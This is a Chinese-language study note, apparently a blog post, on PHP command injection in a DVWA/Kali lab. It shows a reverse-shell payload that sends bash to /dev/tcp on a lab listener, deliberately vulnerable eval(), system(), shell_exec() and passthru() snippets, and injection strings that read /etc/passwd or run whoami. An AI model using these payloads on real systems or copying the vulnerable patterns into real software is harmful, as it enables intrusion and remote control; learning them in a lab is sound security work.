反弹shell
在kali上使用nc监听端口 nc -lvnp 5555 ,在dvwa web页面输入攻击payload :
127.0.0.1|bash -i >& /dev/tcp/172.16.1.2/5555 0>&1
命令注入常见函数
eval()函数造成的命令注入漏洞
1、函数用法 eval(phpcode) Phpcode 规定要计算的php代码。通常用分号结束每句代码的执行。 2、环境源码: <?php $var = "var"; if(isset($_GET["name"])){ $arg = $_GET["name"]; eval("\$var=$arg;"); echo "\$var = ".$var; } ?> 构造语句: name=phpinfo()
测试效果: http://172.16.3.186/eval.php?name=phpinfo()
system()函数造成的漏洞
1、函数用法: System(string command,int &return_var) Command 要执行的命令 Return_var 存放命令的执行后的状态值 2、环境源码: <?php $cmd = $_GET['cmd']; if(isset($cmd)){ echo system("dir".$cmd); } ?> 构造语句: Cmd=| /etc/passwd
测试:http://172.16.3.186/system.php?cmd=|cat%20%20/etc/passwd
shell_exec()函数造成的漏洞
1、函数用法: shell_exec(string command) command 要执行的命令 2、环境源码: <?php $cmd = $_GET['cmd']; if(isset($cmd)){ echo "<h3>"; echo shell_exec("dir".$cmd); echo "<h3>"; } ?> 4、 测试: 构造语句: | whoami
测试:http://172.16.3.186/shell_exec.php?cmd=|whoami
passthru()函数造成的漏洞
1、函数用法: void passthru (string command, int &return_var) command 要执行的命令 return_var 存放执行命令后的状态值 同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 2、环境源码: <?php $cmd = $_GET['cmd']; if(isset($cmd)){ echo passthru($cmd); } ?> 3、测试 构造语句 cmd=whoami
http://172.16.3.186/passthru.php?cmd=whoami
学习内容均参考Farmsec:http://book.fsec.io/201-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E4%B8%8E%E5%B7%A5%E5%85%B7/201-A-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86/201-A9-%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5.html
标签:函数,exec,E5%,kali,cmd,E6%,笔记,漏洞,command From: https://www.cnblogs.com/Cong0ks/p/16831991.html